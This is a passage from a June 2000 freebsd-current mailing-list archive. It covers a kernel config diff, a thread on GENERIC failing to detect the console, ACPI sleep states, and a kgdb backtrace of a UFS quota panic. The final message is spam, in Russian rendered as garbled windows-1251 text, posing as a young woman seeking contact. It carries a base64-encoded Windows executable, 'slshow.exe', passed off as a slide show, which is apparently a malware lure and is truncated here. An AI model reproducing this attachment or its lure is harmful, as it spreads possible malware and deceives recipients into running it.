hints file and then change your KERNEL config like this? -device isa0 +device isa -device atkbdc0 at isa? port IO_KBD +device atkbdc 1 -device atkbd0 at atkbdc? irq 1 +device atkbd -device psm0 at atkbdc? irq 12 +device psm -device vga0 at isa? +device vga -device sc0 at isa? +device sc 1 -device npx0 at nexus? port IO_NPX flags 0x0 irq 13 +device npx -device ata0 -device atadisk0 # ATA disk drives +device ata +device atadisk # ATA disk drives -device pcm0 +device pcm -device joy0 at isa? port IO_GAME +device joy -device pci0 +device pci and so on.. Regards, Marc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 15:13:46 2000 Delivered-To: freebsd-current@freebsd.org Received: from zippy.osd.bsdi.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 02C3237BACE; Fri, 16 Jun 2000 15:13:44 -0700 (PDT) (envelope-from jkh@zippy.osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by zippy.osd.bsdi.com (8.9.3/8.9.3) with ESMTP id PAA01532; Fri, 16 Jun 2000 15:14:04 -0700 (PDT) (envelope-from jkh@zippy.osd.bsdi.com) To: van.woerkom@netcologne.de Cc: jkh@zippy.osd.bsdi.com, current@FreeBSD.ORG, peter@FreeBSD.ORG Subject: Re: GENERIC from today does not detect system console on my box In-reply-to: Your message of "Fri, 16 Jun 2000 23:10:51 +0200." <200006162110.XAA02207@oranje.my.domain> Date: Fri, 16 Jun 2000 15:14:04 -0700 Message-ID: <1529.961193644@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Did you ran the Perl skript to create the hints file and > then change your KERNEL config like this? Yep! The Perl script generates no output and my kernel config file matches the requirements perfectly. Though, if you'll read the subject line again, you'll see I used GENERIC for my test anyway. :) - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 15:46: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 465AE37B958; Fri, 16 Jun 2000 15:46:02 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p10-dn01kiryunisiki.gunma.ocn.ne.jp [211.0.245.11]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id HAA11859; Sat, 17 Jun 2000 07:45:59 +0900 (JST) Message-ID: <394AAE60.B6F0EE2A@newsguy.com> Date: Sat, 17 Jun 2000 07:46:56 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Mitsuru IWASAKI Cc: freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG, acpi-jp@jp.FreeBSD.org Subject: Re: ACPI project progress report References: <20000617002156A.iwasaki@jp.FreeBSD.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Mitsuru IWASAKI wrote: > > - support S2, S3, S4 (hibernation) sleeping transition. S4 sleep > require some hack in boot loader.... needs help. I thought hibernation was entirely controlled by kernel? What do you need? -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@the.great.underground.bsdconpiracy.org "He is my minion, so he doesn't need a name." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 15:49:23 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id A189537BB71; Fri, 16 Jun 2000 15:49:20 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p10-dn01kiryunisiki.gunma.ocn.ne.jp [211.0.245.11]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id HAA12258; Sat, 17 Jun 2000 07:49:10 +0900 (JST) Message-ID: <394AAF1F.9686E978@newsguy.com> Date: Sat, 17 Jun 2000 07:50:07 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: "Jordan K. Hubbard" Cc: current@FreeBSD.ORG, peter@FreeBSD.ORG Subject: Re: GENERIC from today does not detect system console on my box References: <340.961175150@localhost> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Jordan K. Hubbard" wrote: > > I tried booting a kernel this morning, just to see Peter's new > "lean-n-mean" kernel config format in action, and I turned my > workstation into a headless server in the process. :-) > > Most notably, these former entries were now missing from my dmesg > output when I logged in remotely and poked around: > > atkbdc0: at port 0x60,0x64 on isa0 > atkbd0: irq 1 on atkbdc0 > psm0: irq 12 on atkbdc0 > psm0: model Generic PS/2 mouse, device ID 0 > vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 > sc0: on isa0 I was just wondering what happens if no device.hints exists. It seems it isn't installed by installkernel target, and the above are all part of it. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@the.great.underground.bsdconpiracy.org "He is my minion, so he doesn't need a name." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 15:54:33 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 42DF037BA1B; Fri, 16 Jun 2000 15:54:29 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p10-dn01kiryunisiki.gunma.ocn.ne.jp [211.0.245.11]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id HAA12941; Sat, 17 Jun 2000 07:54:27 +0900 (JST) Message-ID: <394AB05C.569DD4DD@newsguy.com> Date: Sat, 17 Jun 2000 07:55:24 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Mitsuru IWASAKI , freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG, acpi-jp@jp.FreeBSD.org Subject: Re: ACPI project progress report References: <20000617002156A.iwasaki@jp.FreeBSD.org> <394AAE60.B6F0EE2A@newsguy.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Daniel C. Sobral" wrote: > > Mitsuru IWASAKI wrote: > > > > - support S2, S3, S4 (hibernation) sleeping transition. S4 sleep > > require some hack in boot loader.... needs help. > > I thought hibernation was entirely controlled by kernel? What do you ^^^^^^ Err, BIOS. > need? -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@the.great.underground.bsdconpiracy.org "He is my minion, so he doesn't need a name." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 16:56:33 2000 Delivered-To: freebsd-current@freebsd.org Received: from home.dragondata.com (home.dragondata.com [204.137.237.2]) by hub.freebsd.org (Postfix) with ESMTP id 98C1E37C0F7 for ; Fri, 16 Jun 2000 16:56:20 -0700 (PDT) (envelope-from toasty@celery.dragondata.com) Received: from celery.dragondata.com (celery.dragondata.com [205.253.12.6]) by home.dragondata.com (8.9.2/8.9.2) with ESMTP id SAA12256; Fri, 16 Jun 2000 18:55:01 -0500 (CDT) Received: (from toasty@localhost) by celery.dragondata.com (8.9.3/8.9.3) id SAA03404; Fri, 16 Jun 2000 18:55:01 -0500 (CDT) (envelope-from toasty) From: Kevin Day Message-Id: <200006162355.SAA03404@celery.dragondata.com> Subject: Panic with userquota(softupdates?) To: freebsd-current@freebsd.org Date: Fri, 16 Jun 2000 18:55:01 -0500 (CDT) Cc: mckusick@mckusick.com X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I keep getting panics in dqget(ufs_quota.c), with a -current from a couple of days ago. I think this might be softupdates related, since I can't make it happen with softupdates turned off, although it's quite possible that it has nothing to do with it. Does anyone have any idea what might be causing this? Any other information that might be useful here? -- Kevin SMP 2 cpus IdlePTD 3813376 initial pcb at 3178c0 panicstr: page fault panic messages: --- Fatal trap 12: page fault while in kernel mode mp_lock = 00000002; cpuid = 0; lapic.id = 00000000 fault virtual address = 0x0 fault code = supervisor write, page not present instruction pointer = 0x8:0xc023d3d2 stack pointer = 0x10:0xd9176d28 frame pointer = 0x10:0xd9176d78 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 3384 (smbd) interrupt mask = none <- SMP: XXX trap number = 12 panic: page fault mp_lock = 00000002; cpuid = 0; lapic.id = 00000000 boot() called on cpu#0 syncing disks... done Uptime: 5h9m37s dumping to dev #da/0x20001, offset 1735462 dump 511 510 509 508 507 506 505 504 503 502 501 500 499 498 497 496 495 494 493 492 491 490 489 488 487 486 485 484 483 482 481 480 479 478 477 476 475 474 473 472 471 470 469 468 467 466 465 464 463 462 461 460 459 458 457 456 455 454 453 452 451 450 449 448 447 446 445 444 443 442 441 440 439 438 437 436 435 434 433 432 431 430 429 428 427 426 425 424 423 422 421 420 419 418 417 416 415 414 413 412 411 410 409 408 407 406 405 404 403 402 401 400 399 398 397 396 395 394 393 392 391 390 389 388 387 386 385 384 383 382 381 380 379 378 377 376 375 374 373 372 371 370 369 368 367 366 365 364 363 362 361 360 359 358 357 356 355 354 353 352 351 350 349 348 347 346 345 344 343 342 341 340 339 338 337 336 335 334 333 332 331 330 329 328 327 326 325 324 323 322 321 320 319 318 317 316 315 314 313 312 311 310 309 308 307 306 305 304 303 302 301 300 299 298 297 296 295 294 293 292 291 290 289 288 287 286 285 284 283 282 281 280 279 278 277 276 275 274 273 272 271 270 269 268 267 266 26! 5 264 263 262 261 260 259 258 257 256 255 254 253 252 251 250 249 248 247 246 245 244 243 242 241 240 239 238 237 236 235 234 233 232 231 230 229 228 227 226 225 224 223 222 221 220 219 218 217 216 215 214 213 212 211 210 209 208 207 206 205 204 203 202 201 200 199 198 197 196 195 194 193 192 191 190 189 188 187 186 185 184 183 182 181 180 179 178 177 176 175 174 173 172 171 170 169 168 167 166 165 164 163 162 161 160 159 158 157 156 155 154 153 152 151 150 149 148 147 146 145 144 143 142 141 140 139 138 137 136 135 134 133 132 131 130 129 128 127 126 125 124 123 122 121 120 119 118 117 116 115 114 113 112 111 110 109 108 107 106 105 104 103 102 101 100 99 98 97 96 95 94 93 92 91 90 89 88 87 86 85 84 83 82 81 80 79 78 77 76 75 74 73 72 71 70 69 68 67 66 65 64 63 62 61 60 59 58 57 56 55 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35 34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 --- #0 boot (howto=256) at ../../kern/kern_shutdown.c:303 303 dumppcb.pcb_cr3 = rcr3(); (kgdb) bt #0 boot (howto=256) at ../../kern/kern_shutdown.c:303 #1 0xc016a2d9 in panic (fmt=0xc02c532f "page fault") at ../../kern/kern_shutdown.c:553 #2 0xc0282190 in trap_fatal (frame=0xd9176ce8, eva=0) at ../../i386/i386/trap.c:927 #3 0xc0281e01 in trap_pfault (frame=0xd9176ce8, usermode=0, eva=0) at ../../i386/i386/trap.c:820 #4 0xc028196b in trap (frame={tf_fs = 24, tf_es = 16, tf_ds = -652804080, tf_edi = -653726848, tf_esi = -1041411164, tf_ebp = -652776072, tf_isp = -652776172, tf_ebx = -1038103936, tf_edx = 0, tf_ecx = -1012515072, tf_eax = 0, tf_trapno = 12, tf_err = 2, tf_eip = -1071393838, tf_cs = 8, tf_eflags = 66118, tf_esp = -1012515072, tf_ss = -633865984}) at ../../i386/i386/trap.c:426 #5 0xc023d3d2 in dqget (vp=0xda37f900, id=65534, ump=0xc1f76200, type=0, dqp=0xc3a63f44) at ../../ufs/ufs/ufs_quota.c:763 #6 0xc023c796 in getinoquota (ip=0xc3a63f00) at ../../ufs/ufs/ufs_quota.c:95 #7 0xc023ddb5 in ufs_access (ap=0xd9176dfc) at ../../ufs/ufs/ufs_vnops.c:324 #8 0xc02408e9 in ufs_vnoperate (ap=0xd9176dfc) at ../../ufs/ufs/ufs_vnops.c:2287 #9 0xc019fc4b in vn_open (ndp=0xd9176ec8, fmode=3, cmode=484) at vnode_if.h:247 #10 0xc019bd8d in open (p=0xd916eac0, uap=0xd9176f80) at ../../kern/vfs_syscalls.c:995 #11 0xc02824c1 in syscall2 (frame={tf_fs = 47, tf_es = 47, tf_ds = -1078001617, tf_edi = -1077940192, tf_esi = 144677504, tf_ebp = -1077939168, tf_isp = -652775468, tf_ebx = 484, tf_edx = 2, tf_ecx = 135418240, tf_eax = 5, tf_trapno = 7, tf_err = 2, tf_eip = 673002960, tf_cs = 31, tf_eflags = 663, tf_esp = -1077941548, tf_ss = 47}) at ../../i386/i386/trap.c:1126 #12 0xc027027b in Xint0x80_syscall () #13 0x80796b1 in ?? () #14 0x8068c32 in ?? () #15 0x424d53ff in ?? () Cannot access memory at address 0x23000000. (kgdb) up #1 0xc016a2d9 in panic (fmt=0xc02c532f "page fault") at ../../kern/kern_shutdown.c:553 553 boot(bootopt); (kgdb) up #2 0xc0282190 in trap_fatal (frame=0xd9176ce8, eva=0) at ../../i386/i386/trap.c:927 927 panic(trap_msg[type]); (kgdb) up #3 0xc0281e01 in trap_pfault (frame=0xd9176ce8, usermode=0, eva=0) at ../../i386/i386/trap.c:820 820 trap_fatal(frame, eva); (kgdb) up #4 0xc028196b in trap (frame={tf_fs = 24, tf_es = 16, tf_ds = -652804080, tf_edi = -653726848, tf_esi = -1041411164, tf_ebp = -652776072, tf_isp = -652776172, tf_ebx = -1038103936, tf_edx = 0, tf_ecx = -1012515072, tf_eax = 0, tf_trapno = 12, tf_err = 2, tf_eip = -1071393838, tf_cs = 8, tf_eflags = 66118, tf_esp = -1012515072, tf_ss = -633865984}) at ../../i386/i386/trap.c:426 426 (void) trap_pfault(&frame, FALSE, eva); (kgdb) up #5 0xc023d3d2 in dqget (vp=0xda37f900, id=65534, ump=0xc1f76200, type=0, dqp=0xc3a63f44) at ../../ufs/ufs/ufs_quota.c:763 763 TAILQ_REMOVE(&dqfreelist, dq, dq_freelist); (kgdb) list 758 /* 759 * Cache hit with no references. Take 760 * the structure off the free list. 761 */ 762 if (dq->dq_cnt == 0) 763 TAILQ_REMOVE(&dqfreelist, dq, dq_freelist); 764 DQREF(dq); 765 *dqp = dq; 766 return (0); 767 } (kgdb) print *dq Cannot access memory at address 0x0. (kgdb) print dqfreelist $1 = {tqh_first = 0x0, tqh_last = 0x0} (kgdb) up #6 0xc023c796 in getinoquota (ip=0xc3a63f00) at ../../ufs/ufs/ufs_quota.c:95 95 if (ip->i_dquot[USRQUOTA] == NODQUOT && (kgdb) list 90 ump = VFSTOUFS(vp->v_mount); 91 /* 92 * Set up the user quota based on file uid. 93 * EINVAL means that quotas are not enabled. 94 */ 95 if (ip->i_dquot[USRQUOTA] == NODQUOT && 96 (error = 97 dqget(vp, ip->i_uid, ump, USRQUOTA, &ip->i_dquot[USRQUOTA])) && 98 error != EINVAL) 99 return (error); (kgdb) print *ip $3 = {i_lock = {lk_interlock = {lock_data = 0}, lk_flags = 1088, lk_sharecount = 0, lk_waitcount = 0, lk_exclusivecount = 1, lk_prio = 8, lk_wmesg = 0xc02b8782 "inode", lk_timo = 0, lk_lockholder = 3384}, i_hash = {le_next = 0xc2cdc100, le_prev = 0xc1eb6238}, i_vnode = 0xda37f900, i_devvp = 0xd694c480, i_flag = 128, i_dev = 0xc20ccc00, i_number = 1543310, i_effnlink = 1, inode_u = {fs = 0xc20bf800, e2fs = 0xc20bf800}, i_dquot = {0x0, 0x0}, i_modrev = 79788453508906, i_lockf = 0x0, i_count = 0, i_endoff = 0, i_diroff = 0, i_offset = 0, i_ino = 0, i_reclen = 0, i_spare = {0, 0, 0, 0}, i_din = {di_mode = 33252, di_nlink = 1, di_u = { oldids = {0, 0}, inumber = 0}, di_size = 1573, di_atime = 944101460, di_atimensec = 0, di_mtime = 957925745, di_mtimensec = 0, di_ctime = 961126653, di_ctimensec = 0, di_db = { 49643207, 0 }, di_ib = {0, 0, 0}, di_flags = 0, di_blocks = 4, di_gen = 78167767, di_uid = 65534, di_gid = 65534, di_spare = {0, 0}}} (kgdb) print ip->i_dquot $4 = {0x0, 0x0} To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 17:31:34 2000 Delivered-To: freebsd-current@freebsd.org Received: from relay1.telekom.ru (relay1.telekom.ru [194.190.195.76]) by hub.freebsd.org (Postfix) with ESMTP id A65FF37C1A9 for ; Fri, 16 Jun 2000 17:31:11 -0700 (PDT) (envelope-from nady@mailru.com) Received: by relay1.telekom.ru (8.8.7/1.75) id BAA26180; Sat, 17 Jun 2000 01:30:08 +0400 (MSD) From: nady@mailru.com Received: from n1-040.dialup.co.ru(195.16.37.40) by gateway via smap (V2.0) id xma007340; Sat, 17 Jun 00 01:22:47 +0400 To: Íåçíàêîìåö@mailru.com Subject: çíàêîìñòâî Date: Sat, 17 Jun 2000 01:22:56 +0300 Message-Id: <36694.057595370374400.290@localhost> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=ppidapcreafgdbhs Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --ppidapcreafgdbhs Content-Type: text/plain; charset=windows-1251 Content-Transfer-Encoding: 8bit ß íèêîãäà íå ïûòàëàñü ïîçíàêîìèòüñß â èíòåðíåòå, íî ðåøèëàñü ïîïðîáûâàòü. Æèâó â Ìîñêâå, ó÷óñü. Ìíå 19 ëåò. Íå çíàþ, ÷åãî ìíå íå õâàòàåò, ìîæåò ïðîñòî îáùåíèß , à ìîæåò ëàñêè è âíèìàíèß. ß äàæå íå çíàþ, ÷òî î ñåáå íàïèñàòü, âðîäå íå äóðà, à íå ìîãó. ß äîñòàòî÷íî êðèòè÷íî (òî åñòü ñåáå íå íðàâëþñü) îòíîøóñü ê ñâîåé âíåøíîñòè, íî ïðåäîñòàâëþ òåáå îöåíèòü åå.(åõå- ýòî ñëàéä øîó) --ppidapcreafgdbhs Content-Type: application/x-msdownload; name="slshow.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="slshow.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEGAKLKqTgAAAAA AAAAAOAADwELAQUAACQAAADqAAAAAAAAriQAAAAQAAAAQAAAAABAAAAQAAAAAgAA BAAAAAAAAAAEAAAAAAAAAABgAQAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAA AAAAABAAAAAAAAAAAAAAAGhXAQBNAQAAAEABAJwDAAAAAAAAAAAAAAAAAAAAAAAA PFMBAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAC50ZXh0AAAA ADAAAAAQAAAAFgAAAAQAAAAAAAAAAAAAAAAAAEAAAMAucmRhdGEAAAAQAAAAQAAA AAIAAAAaAAAAAAAAAAAAAAAAAABAAADALmRhdGEAAAAA4AAAAFAAAAAGAAAAHAAA AAAAAAAAAAAAAAAAQAAAwC5pZGF0YQAAABAAAAAwAQAABgAAACIAAAAAAAAAAAAA AAAAAEAAAMAucnNyYwAAAAAQAAAAQAEAAAQAAAAoAAAAAAAAAAAAAAAAAABAAADA LmRhdGEAuwAAEAAAAFABAAAKAAAALAAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 